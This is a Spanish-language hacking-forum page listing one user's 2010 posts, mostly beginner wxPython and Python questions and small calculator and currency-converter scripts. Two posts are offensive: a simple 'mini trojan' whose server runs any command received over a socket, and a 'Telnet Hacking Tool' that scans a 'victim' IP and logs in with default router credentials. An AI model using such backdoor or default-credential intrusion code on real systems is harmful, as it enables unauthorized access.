elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: [1]
1  Programación / Scripting / Ayuda [wxPython] en: 27 Junio 2010, 00:37 am
Buenas a tod@s. Tengo un problema y es que no se poner una imagen en el frame principal. He googleado y he encontrado el code pero al ponerlo no me sale :S. Aqui os lo dejo:

Código
  1. import wx
  2.  
  3. class Tro(wx.Frame):
  4.    def __init__(self):
  5.        wx.Frame.__init__(self, parent=None, title='Tituloooo', size=(1920,1200))
  6.        self.pnl = wx.Panel(self, id=-1, pos=DefaultPosition, size=(1920,1200))
  7.        img = wx.Image("PythonPowered.gif", type=wx.BITMAP_TYPE_GIF, index=-1).ConvertToBitmap()
  8.        pic = wx.StaticBitmap(self.pnl, -1, img)
  9.  
  10.  
  11.  
  12.  
  13. class App(wx.App):
  14.    def OnInit(self):
  15.        frame = Tro()
  16.        frame.Show()
  17.        self.SetTopWindow(frame)
  18.        return True
  19.  
  20. if __name__ == '__main__':
  21.    app = App()
  22.    app.MainLoop()
2  Programación / Scripting / [Python] Ayuda con mini troyano en: 6 Junio 2010, 17:49 pm
Hola a todos. Estoy intentanto hacer un minitroyano en python pero no se conecta. El caso es que si lo hago en local si me sale. Aqui os dejo el code:

Cliente.py

Código
  1. import socket
  2.  
  3.  
  4. Host = 'XXXXXXXXX'
  5. Port = 9999
  6. Connection = (Host, Port) #Juntamos el Host y el Puerto en una tupla
  7.  
  8. TCP_Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Definimos el tipo de Socket, TCP
  9. TCP_Socket.connect(Connection) #Nos connectamos al Host y Puerto de la variable Connection
  10.  
  11. while 1:
  12.    comando = raw_input('>>> ')
  13.    TCP_Socket.send(comando)
  14.    if comando == 'exit':
  15.        break

server
Código
  1. import socket as sc
  2. from os import system as sys
  3.  
  4. server = sc.socket(sc.AF_INET, sc.SOCK_STREAM)
  5. server.bind(('', 9999))
  6. server.listen(1)
  7.  
  8. while 1:
  9.    socket_cliente, datos_cliente = server.accept()
  10.    seguir = True
  11.    while seguir:
  12.        peticion = socket_cliente.recv(XXXXXXX)
  13.        if peticion == 'exit':
  14.            socket_cliente.close()
  15.            seguir = False
  16.        else:
  17.            socket_cliente.send(sys('%s' % peticion))
  18.    break
3  Programación / Scripting / Boton ayuda [wxPython] en: 26 Mayo 2010, 14:39 pm
Hola a tod@s.

Tengo hecho un programilla y quiero poner un boton de ayuda que seria este:

Código
  1. self.btnAyuda = wx.Button(self, label='Ayuda', pos=(200,85), size=(60, 30))
  2.        self.Bind(wx.EVT_BUTTON, self.ayud, self.btnAyuda)

y quiero que cuando apriete el boton muestre un texto estatico y cree su respectiva funcion.

Código
  1. def ayud(self, event):
  2.        wx.StaticText(self, label='blablabla...' pos=(10, 30))

asi estaria bien?
porque no me va

EDITO: ya se cual es el error, me faltaba una ,
4  Media / Diseño Gráfico / Ayuda con capas en: 21 Mayo 2010, 17:56 pm
Hola a tod@s.

Vereis, tengo una imagen con tres capas de texto en el ps. El caso es que quiero ponerle a una capa de texto las propiedades de la otra y me gustaria saber si hay algun procedimiento o algo para hacerlo (que no sea manual)
5  Programación / Scripting / [Python] Ayuda con intefaz grafica!! en: 20 Mayo 2010, 16:10 pm
El caso es que estoy traspasando un programilla que hice a wxpython. El problema es que tengo hecho el code pero me da error en la linea 20 en negativa = ... y no se que es. Si me pudierais ayudar...

Aqui os dejo el code:

Código
  1. import wx
  2. import math
  3.  
  4. class Herr(wx.Frame):
  5.  
  6.  def __init__(self):
  7.    wx.Frame.__init__(self, parent=None, title='Ecuaciones 2 grado')
  8.  
  9.    self.btnCalcular = wx.Button(self, label='Calcular', pos=(20, 180), size=(60, 30))
  10.  
  11.    self.a = wx.TextCtrl(self, pos=(20,45), size=(60,20))
  12.    self.b = wx.TextCtrl(self, pos=(20,70), size=(60,20))
  13.    self.c = wx.TextCtrl(self, pos=(20,95), size=(60,20))
  14.    self.d = wx.TextCtrl(self, pos=(20,120), size=(60,20))
  15.    self.e = wx.TextCtrl(self, pos=(20,145), size=(60,20))
  16.    self.Bind(wx.EVT_BTN, self.ecuacion, self.btnCalcular)
  17.  
  18. def ecuacion(self, event):
  19.    try:
  20.        a = self.a.GetValue()
  21.        b = self.b.GetValue()
  22.        c = self.c.GetValue()
  23.  
  24.        positiva = self.d.SetValue((-b + math.sqrt(b*b - 4*a*c))/(2*a))
  25.        negativa = self.e.SetValue((-b - math.sqrt(b*b - 4*a*c))/(2*a))        
  26.  
  27.  
  28.    except:
  29.        positiva = self.d.SetValue('Sin solucion')
  30.        negativa = self.e.SetValue('Sin solucion')  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37. class App(wx.App):
  38.    def OnInit(self):
  39.        frame = Herr()
  40.        frame.Show()
  41.        self.SetTopWindow(frame)
  42.        return True
  43.  
  44.  
  45. if __name__ == '__main__':
  46.    app = App()
  47.    app.MainLoop()
6  Programación / Scripting / Telnet Tool by swik [Python] en: 4 Mayo 2010, 15:22 pm
Aqui os dejo esta pequeña tool que hice para hacer telnet a una ip. Primero la escanea, y luego le hace telnet  ;D. Es algo antiguo pero bueno

Código
  1. print '-------------------------------------'
  2. print '-------------------------------------'
  3. print '--------Telnet Hacking Tool----------'
  4. print '-------------by swik-----------------'
  5. print '-------------------------------------'
  6. print '-------------------------------------'
  7.  
  8. print ''
  9.  
  10.  
  11. print '-Para hacer el ataque con exito, es necesario que la victima'
  12. print ''
  13. print '-Tenga el port 23 abierto'
  14. print ''
  15. print '-Teclee la ip de la victima y presione enter'
  16. print ''
  17. print '-El usuario y pass por defecto es admin-admin'
  18. print ''
  19. print '-La pag que se ha abierto contiene el user y pass de algunos routers'
  20. print ''
  21. print '-Primero el programa escanea la ip y luego le hace telnet'
  22.  
  23. import os
  24.  
  25. os.system("color a")
  26. victima = raw_input('ip victima: ')
  27. escan = os.system("nmap %s" % victima)
  28. os.system("start http://phenoelit-us.org/dpl/dpl.html")
  29. os.system("telnet %s" % victima)
  30. os.system("color c")
7  Programación / Scripting / Calculadora básica by swik en: 17 Abril 2010, 16:45 pm
Aqui os dejo otro pequeño programa basico (una calculadora)  :)

Código:
import math

print "n %%_________Calculadora_______%%"
print "n %%__________by swik__________%%"


#Calculadora Basica by swik
salir = 'no'






#elegir la operacion
print 'escoge una opcion: '
print '(+)'
print '(-)'
print '(/)'
print '(*)'
print '(^)'

operacion = raw_input ('teclea la operacion a usar, y luego presiona enter: ')
numeroA = float (raw_input('Tecle un numero: '))
numeroB = float (raw_input('Teclea otro numero: '))

if operacion == '+': #realiza operacion de suma
resultado = numeroA + numeroB

if operacion == '-': #realiza la operacion de resta
resultado = numeroA - numeroB

if operacion == '/': #realiza la operacion dividir
resultado = numeroA / numeroB

if operacion == '*': #realiza la operacion multiplicar
resultado = numeroA * numeroB

if operacion == '^': #realiza la operacion elevar
resultado = numeroA ** numeroB

print resultado
raw_input ()
8  Programación / Scripting / Pequeño conversor by swik [Python] en: 17 Abril 2010, 16:38 pm
Primero Hola a todos. Soy "nuevo" ya que llevo tiempo registrado lo que pasa es que nunca posteo.Veo que hay mucha informacion interesante y quiza me vean por aqui  ;D. Bueno aqui os dejo este pequeño conversor. Es muy básico  :P

Código:
print '%%~~~~~~~~~~~~~~Conversor~~~~~~~~~~%%'
print '%%~~~~~~~~~~~~~~~~by swik~~~~~~~~~~%%'

def conversor():


   print 'Escoja una opcion'

   print '1 euros a pesetas'
   print '2 pesetas a euros'
   print '3 euros a dolares'
   print '4 dolares a euros'
   print '(1)'
   print '(2)'
   print '(3)'
   print '(4)'

   operacion = raw_input('Teclee la opcion: ')
   num = float(raw_input('Teclee la cifra: '))
       
   if operacion == '1':
       resultado = num * 166
   if operacion == '2':
          resultado = num / 166
   if operacion == '3':
          resultado = num * 1.3647
   if operacion == '4':
          resultado = num / 1.3647


   print resultado
   conversor()
conversor()

Saludos
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines